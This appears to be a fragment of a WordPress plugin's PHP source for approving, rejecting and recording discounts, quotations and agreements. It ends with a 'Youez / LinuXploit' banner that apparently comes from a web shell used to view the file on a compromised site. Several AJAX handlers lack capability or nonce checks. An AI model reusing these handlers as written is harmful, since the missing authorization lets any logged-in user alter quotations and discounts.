        error_log('No rows updated in wp_quotation table. Check the condition for the ID: ' . $id);
    }

    // Set success message
    $message = 'Discount approval request sent successfully';
    $message_type = 'updated';

    // Store the message in a transient
    set_transient('quotation_edit_message', array(
        'message' => $message,
        'type' => $message_type,
    ), 30);

    wcsda_send_discount_approval_email($id, $discount, $final_price, $quote);

    // Redirect to avoid re-submission on page reload
    wp_redirect(admin_url('admin.php?page=edit-quotation&id=' . $id));
    exit;
}

add_action('wp_ajax_wcsda_approve_discount', 'wcsda_handle_approve_discount');
function wcsda_handle_approve_discount() {
    $quotation_id = intval($_GET['qt_id']);
    $discount  = floatval($_GET['discount']);
    $timestamp = $_GET['timestamp'];
    $nonce = $_GET['nonce'];

    if (!wp_verify_nonce($nonce, "discount_action_{$quotation_id}_{$timestamp}")) {
        wcsda_display_error("Invalid or expired link.");
        exit;
    }

    global $wpdb;
    $table = $wpdb->prefix . 'quotation';

    // Check if quotation exists
    $exists = $wpdb->get_var("SELECT COUNT(*) FROM {$table} WHERE id = $quotation_id");
    if ($exists == 0) {
        wcsda_display_error("Quotation not found.");
        exit;
    }

    $updated = $wpdb->update(
        $table,
        [
            'discount_status'        => 'Approved',
            'rfqdiscount'      => $discount
            // 'discount_request_sent'  => 0,
        ],
        ['id' => $quotation_id],
        ['%s', '%f', '%d'],
        ['%d']
    );

    if ($updated === false) {
        wcsda_display_error("MySQL error: " . $wpdb->last_error);
    } elseif ($updated === 0) {
        wcsda_display_error("No changes were made (data may be the same).");
    } else {
        wcsda_display_success("Discount approved successfully.");
    }

    exit;
}


add_action('wp_ajax_wcsda_reject_discount', 'wcsda_handle_reject_discount');
function wcsda_handle_reject_discount() {
    $qt_id     = isset($_GET['qt_id']) ? intval($_GET['qt_id']) : intval($_POST['qt_id']);
    $discount  = isset($_GET['discount']) ? floatval($_GET['discount']) : floatval($_POST['discount']);
    $timestamp = isset($_GET['timestamp']) ? intval($_GET['timestamp']) : intval($_POST['timestamp']);
    $nonce     = isset($_GET['nonce']) ? $_GET['nonce'] : $_POST['nonce'];

    if (!wp_verify_nonce($nonce, "discount_action_{$qt_id}_{$timestamp}")) {
        wcsda_display_error("Invalid or expired link.");
        exit;
    }

    global $wpdb;
    $table = $wpdb->prefix . 'quotation';

    $updated = $wpdb->update(
        $table,
        [
            'discount_status'       => 'Rejected',
            // 'discount_request_sent' => 0,
        ],
        ['id' => $qt_id],
        ['%s', '%d'],
        ['%d']
    );

    if ($updated === false) {
        wcsda_display_error("MySQL error: " . $wpdb->last_error);
    } elseif ($updated === 0) {
        wcsda_display_error("No changes were made (data may be the same).");
    } else {
        wcsda_display_success("Discount request rejected.");
    }

    exit;
}



function update_quotation_status() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'quotation';

    $qt_id = intval($_POST['qt_id']);

    $data = array(
        'qt_status' => 'Quote Send to Coustmer',
        'cs_view'  => '1',
    );

    $where = array('id' => $qt_id);
    $updated = $wpdb->update($table_name, $data, $where);

    if ($updated !== false) {
        wp_send_json_success(array('message' => 'Quote sent to customer'));
    } else {
        wp_send_json_error(array('message' => 'Failed to send quote to customer'));
    }
}

add_action('wp_ajax_update_quotation_status', 'update_quotation_status');

// Agreement data save in database
add_action('wp_ajax_generate_agreement', 'generate_agreement_handler');

function generate_agreement_handler() {
    global $wpdb;

    // Get the Quotation ID from the AJAX request
    $qt_id = isset($_POST['qt_id']) ? sanitize_text_field($_POST['qt_id']) : '';

    if (!empty($qt_id)) {
        // Get the current user info
        $current_user = wp_get_current_user();
        $sales_rep = $current_user->user_login; // Or use $current_user->display_name if you want the display name

        $user_id = $wpdb->get_var($wpdb->prepare("
            SELECT user_id 
            FROM wp_quotation 
            WHERE id = %d
            LIMIT 1
        ", $qt_id));

        // Prepare data to insert
        $table_name = $wpdb->prefix . 'agreement'; // Assuming the table is wp_agreement, adjust if the table name is different

        // Data to insert into wp_agreement table
        $data = array(
            'qt_id'     => $qt_id,   // Column for Quotation ID
            'sales_rep' => $sales_rep,
            'ag_user_id'=> $user_id  // Column for Sales Rep (current user)
        );

        // Data format
        $format = array(
            '%d',  // For qt_id (assuming it's a string)
            '%s',
            '%d'   // For sales_rep (also assuming it's a string)
        );

        // Insert the data into the table
        $inserted = $wpdb->insert($table_name, $data, $format);

        // Check if the insertion was successful
        if ($inserted) {
            wp_send_json_success('Agreement generated and saved successfully.');
        } else {
            wp_send_json_error('Failed to save the agreement.');
        }

    } else {
        wp_send_json_error('Invalid Quotation ID.');
    }

    wp_die();
}


function handle_quotation_update() {
    if (!isset($_POST['submit']) || !isset($_POST['qt_id'])) {
        return;
    }

    global $wpdb;
    $table_name = $wpdb->prefix . 'quotation';

    // Sanitize and validate input
    $id = intval($_POST['qt_id']);
    $dynamic_terms_1 = isset($_POST['dynamic_terms_1']) ? sanitize_textarea_field($_POST['dynamic_terms_1']) : '';
    $dynamic_terms_2 = isset($_POST['dynamic_terms_2']) ? sanitize_textarea_field($_POST['dynamic_terms_2']) : '';

    // Increment revised_count
    $current_quotation = $wpdb->get_row($wpdb->prepare("SELECT revised_count FROM $table_name WHERE id = %d", $id));
    $revised_count = $current_quotation ? $current_quotation->revised_count + 1 : 1;

    // Update the quotation
    $updated = $wpdb->update(
        $table_name,
        array(
            'dynamic_terms_1' => $dynamic_terms_1,
            'dynamic_terms_2' => $dynamic_terms_2,
            'revised_count' => $revised_count
        ),
        array('id' => $id),
        array('%s', '%s', '%d'), // Data types
        array('%d') // id type
    );

    if ($updated === false) {
        error_log('Failed to update Quotation: ' . $wpdb->last_error);
    }

    // Redirect to avoid re-submission on page reload
    wp_redirect(admin_url('admin.php?page=edit-quotation&id=' . $id));
    exit;
}

// Hook the function to the appropriate action
add_action('admin_post_update_quotation', 'handle_quotation_update');

?>

Youez - 2016 - github.com/yon3zu
LinuXploit